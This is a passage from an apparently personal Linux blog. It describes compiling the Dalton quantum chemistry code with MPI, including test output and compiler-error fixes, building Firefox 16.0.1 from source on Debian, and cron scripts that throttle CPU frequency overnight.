        $(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -S -g -c $*.c 


Start the compilation by
make -f Makefile.in


Note that
LIBS   =-L/opt/acml5.1.0/gfortran64/lib -lacml
also works, while I couldn't get openblas or the debian lapack/blas libs to work.

If all goes well:
...
a - amfi.o
a - symtra.o
make[1]: Leaving directory `/home/me/tmp/dalton-2.0-cam/amfi'
---------------> Linking sequential dalton.x ...
mpif90 -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file \
        -o /opt/dalton/bin/dalton.x abacus/dalton.o cc/crayio.o abacus/linux_mem_allo.o \
        abacus/herpar.o eri/eri2par.o amfi/amfi.o amfi/symtra.o gp/mpi_dummy.o -Labacus -labacus -Lrsp -lrsp -Lsirius -lsirius -labacus -Leri -leri -Ldensfit -ldensfit -Lcc  -lcc -Ldft -ldft -Lgp -lgp -Lpdpack -lpdpack -L/opt/ATLAS/lib -llapack -lf77blas -latlas 
---------------> Linking parallel dalpar.x ...
mpif90 -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file \
        -o /opt/dalton/bin/dalpar.x abacus/dalton.o cc/crayio.o abacus/linux_mem_allo.o \
        abacus/herpar.o eri/eri2par.o amfi/amfi.o amfi/symtra.o -Labacus -labacus -Lrsp -lrsp -Lsirius -lsirius -labacus -Leri -leri -Ldensfit -ldensfit -Lcc  -lcc -Ldft -ldft -Lgp -lgp -Lpdpack -lpdpack -L/opt/ATLAS/lib -llapack -lf77blas -latlas  \
        -L/usr/lin/openmpi/lib -lmpi 



Copy the basis sets:
cp basis/* /opt/dalton/basis/

Throw
export PATH=$PATH:/opt/dalton/bin
in your ~/.bashrc and source it (source ~/.bashrc)

You're now ready to see how well it went.

cd test/
./dft_b3lyp_cart
mv dft_b3lyp_cart.dal DALTON.INP && mv dft_b3lyp_cart.mol MOLECULE.INP
mpirun -n 1 dalpar.x DALTON.INP MOLECULE.INP > DALTON.OUT

Looking at the output in DALTON.OUT:

 ***************************************************************************
 ************************ FINAL RESULTS FROM ABACUS ************************
 ***************************************************************************


 
     Date and time (Linux)  : Fri Oct 19 09:55:42 2012
     Host name              : beryllium                               



                         Molecular geometry (au)
                         -----------------------

 O          0.0000000000            0.0000000000           -0.1231063545
 H1   1     0.0000000000            1.4300000000            0.9768936455
 H1   2     0.0000000000           -1.4300000000            0.9768936455





                    Molecular wave function and energy
                    ----------------------------------

     Spin multiplicity  1     State number       1     Total charge       0


     Total energy        -73.9502446565 au (Hartrees)
                         -2012.28846267 eV
                           -194156.3395 kJ/mol




                         Relativistic corrections
                         ------------------------

     Darwin correction:                          0.1095380827 au
     Mass-velocity correction:                  -0.1391457352 au

     Total relativistic correction:             -0.0296076525 au (0.0400%)
     Non-relativistic + relativistic energy:   -73.9798523089 au




                              Dipole moment
                              -------------

                    0.783423 au           1.991263 Debye




                         Dipole moment components
                         ------------------------

                               au             Debye

                    z      0.78342341      1.99126348

                        1 a.u. =   2.54175 Debye 





   Interatomic separations (in Angstroms):
   ---------------------------------------

            O           H1   1      H1   2
            ------      ------      ------
 O     :    0.000000
 H1   1:    0.954707    0.000000
 H1   2:    0.954707    1.513447    0.000000


  Max interatomic separation is    1.5134 Angstroms
  between atoms "H1   2" and "H1   1".


  Bond distances (angstroms):
  ---------------------------

                  atom 1     atom 2       distance
                  ------     ------       --------
  bond distance:  H1   1     O            0.954707
  bond distance:  H1   2     O            0.954707


  Bond angles (degrees):
  ----------------------

                  atom 1     atom 2     atom 3         angle
                  ------     ------     ------         -----
  bond angle:     H1   1     O          H1   2       104.863




 CPU time statistics for ABACUS
 ------------------------------





 >>>> Total CPU  time used in ABACUS:   0.01 seconds
 >>>> Total wall time used in ABACUS:   0.00 seconds

- End of Static Property Section

 >>>> Total CPU  time used in DALTON:   1.56 seconds
 >>>> Total wall time used in DALTON:   0.00 seconds

 
     Date and time (Linux)  : Fri Oct 19 09:55:42 2012
     Host name              : beryllium         



So it's clearly working. However, -n 2 leads to a string of errors:

2abe8f67d000-2abe8f87c000 ---p 00005000 08:01 1839615                    /usr/lib/openmpi/lib/openmpi/mca_dpm_orte.so
2abe8f87c000-2abe8f87d000 rw-p 00004000 08:01 1839615                    /usr/lib/openmpi/lib/openmpi/mca_dpm_orte.so
2abe8f87d000-2ac06c5e3000 rw-p 00000000 00:00 0 
2ac070000000-2ac070021000 rw-p 00000000 00:00 0 
2ac070021000-2ac074000000 ---p 00000000 00:00 0 
7fffc3ce9000-7fffc3d0c000 rw-p 00000000 00:00 0                          [stack]
7fffc3dff000-7fffc3e00000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Program received signal SIGABRT: Process abort signal.

Backtrace for this error:
^Cmpirun: killing job...

--------------------------------------------------------------------------
mpirun noticed that process rank 0 with PID 2846 on node beryllium exited on signal 0 (Unknown signal 0).
--------------------------------------------------------------------------
mpirun: clean termination accomplished




Errors:


Error:
Warning: Type mismatch in argument 'indsq' at (1); passed REAL(8) to INTEGER(4)

cc3_omeg3.F:3322.33:
                  CALL CC3_RACC3(DUMMY,OMEGA2M,WORK(KRMAT4),ISYMB,B,  
                                 1
Warning: Rank mismatch in argument 'omega2p' at (1) (rank-1 and scalar)
cc3_omeg3.F:3352.27:
            CALL CC3_RACC3(DUMMY,OMEGA2M,WORK(KRMAT3),ISYMD,D,ISYRES,
                           1
Warning: Rank mismatch in argument 'omega2p' at (1) (rank-1 and scalar)
cc3_omeg3.F: In function ‘cc3_racc3_.constprop.0’:cc3_omeg3.F:1319:0: internal compiler error: in expand_assignment, at expr.c:4731Please submit a full bug report,
with preprocessed source if appropriate.
See <file:///usr/share/doc/gcc-4.7/README.Bugs> for instructions.
make[1]: *** [cc3_omeg3.o] Error 1
make[1]: Leaving directory `/home/me/tmp/dalton-2.0-cam/cc'
make: *** [CC_OBJ] Error 2

Solution:
add -fno-whole-file to FFLAGS in Makefile.config

Error:
make[1]: Leaving directory `/home/me/tmp/dalton-2.0-cam/cc'
cd dft && make all
make[1]: Entering directory `/home/me/tmp/dalton-2.0-cam/dft'
gfortran -I../include  -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=1000000000' -D'INSTALL_MMWORK=1000000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=471 -DIMPLICIT_NONE -DINSTALL_BASDIR='"/opt/dalton/basis/"' -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file -c dft_den.F
gfortran -I../include  -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=1000000000' -D'INSTALL_MMWORK=1000000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=471 -DIMPLICIT_NONE -DINSTALL_BASDIR='"/opt/dalton/basis/"' -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file -c dft_grid.F
gfortran -I../include  -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=1000000000' -D'INSTALL_MMWORK=1000000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=471 -DIMPLICIT_NONE -DINSTALL_BASDIR='"/opt/dalton/basis/"' -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file -c dft_ksm.F
dft_ksm.F:239:0: fatal error: mpif.h: No such file or directorycompilation terminated.
make[1]: *** [dft_ksm.o] Error 1
make[1]: Leaving directory `/home/me/tmp/dalton-2.0-cam/dft'
make: *** [DFT_OBJ] Error 2
Solution: 
Make sure you set
MPI_INCLUDE_DIR = -I/usr/lib/openmpi/include

It may not be necessary for the mpiXXX compilers, but e.g. gfortran would not know where to look for the mpi headers.

On ROCKS/CentOS:

Error:
mpif90 -I../include  -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=100000000' -D'INSTALL_MMWORK=100000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=412 -DIMPLICIT_NONE -DINSTALL_BASDIR='"/home/me/.dalton/basis"' -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -c gphjj.F
 In file gphjj.F:416
      WRITE (LUPRIN,'(T6,2A)') 'Date and time (Linux)  : ',FDATE()    
                                                          1
 In file gphjj.F:89
                 
                   2
Error: Global name 'fdate' at (1) is already being used as a SUBROUTINE at (2)
 In file gphjj.F:934
            IF(IR-IB) 340,310,320                                    
                                                                       1
Warning: Obsolete: arithmetic IF statement at (1)
 In file gphjj.F:1390
      DATA C/8H********/                                              
              1
Warning: Extension: Hollerith constant at (1)
 In file gphjj.F:1390
      DATA C/8H********/                                              
                      1
Warning: Extension: Conversion from HOLLERITH to REAL(8) at (1)
make[1]: *** [gphjj.o] Error 1
make[1]: Leaving directory `/home/me/tmp/dalton-2.0-cam/gp'
make: *** [GP_OBJ] Error 2
Solution:
???

18 October 2012

259. Compiling firefox 16.0.1 in debian testing/wheezy

I actually mainly use chromium/chrome for my normal browsing needs, and have set up an ssh tunnel with an American university for iceweasel so I can access sites that filter on IP.

There's nothing particularly wrong with iceweasel, but it's nice to check out the latest and shiniest versions of different projects every now and again, so here's how to compile the latest firefox:

The source is just a hair under 90 Mb and the build takes around 40 minutes on a three-core AMD.

I've got so many -dev packages installed on my system that I don't really know what the dependencies are anymore, but here's a guess:
sudo apt-get install build-essential gfortran gawk libpango1.0-dev libgconf2-dev libgnomevfs2-dev libcogl-pango-dev libpangomm-1.4-dev libgconfmm-2.6-dev libnotify-dev libgnomeui-dev libdbus-1-dev libdbus-glib-1-dev 

Anyway:
cd ~/tmp
wget ftp://ftp.mozilla.org/pub/firefox/releases/16.0.1/source/firefox-16.0.1.source.tar.bz2
tar xvf firefox-16.0.1.source.tar.bz2
mkdir firefox_build
cd firefox_build/
../mozilla-release/./configure --prefix=$HOME/.firefox --disable-necko-wifi
make
make install

I'm getting tired of the clutter in my PATH, so
echo "alias firefox16='$HOME/.firefox/bin/firefox'" >> ~/.bashrc



Note that iceweasel puts a firefox in/usr/bin/, hence the use of firefox16

16 October 2012

258. Briefly: Throttle CPU between certain hours on linux

Because university administrators apparently don't consider academics trustworthy enough, at my university each office has an AC unit which cannot be adjusted. Sure, we can set the temperature -- but the unit cannot be turned on or off. Instead it shuts itself off at 5 pm and goes back on at 8 am. Same goes for weekends -- the unit shuts itself off on Friday at 5 pm and turns itself back on on Monday morning.

Obviously all the windows are sealed shut.

Which is fair enough in terms of saving energy -- no administrator would be in their office over the weekend. But most academics are constantly fighting to keep themselves afloat in terms of work, and most of us are in on weekends too.

But this is Australia -- the winters get cold enough that it's unpleasant to sit in an unheated office (no insulation) and the summers hot enough that computers get unhappy.

And I'm running a cluster in my office, so on a warmish weekend (above 20 degrees) my tiny office gets really hot. Last night one of my nodes overheated and shut itself down.

So, in want of a better solution, I figure I will throttle the CPUs overnight to give the fans a fighting chance to keep the cpus cool when the aircon is off. In particular weekends, with no air-conditioning from 5 pm on Friday until 8 am on Monday, are a challenge.


Enough talking! 

Put the following files in /etc/cron.d

throttle.sh
#!/bin/bash
## minimise heating overnight
/usr/bin/cpufreq-set -c 0 -g powersave
/usr/bin/cpufreq-set -c 1 -g powersave
/usr/bin/cpufreq-set -c 2 -g powersave
/usr/bin/cpufreq-set -c 3 -g powersave
/usr/bin/cpufreq-set -c 4 -g powersave
/usr/bin/cpufreq-set -c 5 -g powersave

slowdown.sh
#!/bin/bash
## minimise heating overnight
/usr/bin/cpufreq-set -c 0 -g userspace
/usr/bin/cpufreq-set -c 1 -g userspace
/usr/bin/cpufreq-set -c 2 -g userspace
/usr/bin/cpufreq-set -c 3 -g userspace
/usr/bin/cpufreq-set -c 4 -g userspace
/usr/bin/cpufreq-set -c 5 -g userspace
/usr/bin/cpufreq-set -c 0 -f 2.2G
/usr/bin/cpufreq-set -c 1 -f 2.2G
/usr/bin/cpufreq-set -c 2 -f 2.2G
/usr/bin/cpufreq-set -c 3 -f 2.2G
/usr/bin/cpufreq-set -c 4 -f 2.2G
/usr/bin/cpufreq-set -c 5 -f 2.2G

unthrottle.sh
#!/bin/bash
## maximise performance during the day
/usr/bin/cpufreq-set -c 0 -g ondemand
/usr/bin/cpufreq-set -c 1 -g ondemand
/usr/bin/cpufreq-set -c 2 -g ondemand
/usr/bin/cpufreq-set -c 3 -g ondemand
/usr/bin/cpufreq-set -c 4 -g ondemand
/usr/bin/cpufreq-set -c 5 -g ondemand

Now edit /etc/crontab
00 08   * * 1-5 root    sh /etc/cron.d/unthrottle.sh
00 17   * * 1-4 root    sh /etc/cron.d/slowdown.sh
00 17 * * 5 root sh /etc/cron.d/throttle.sh


And you're good to go.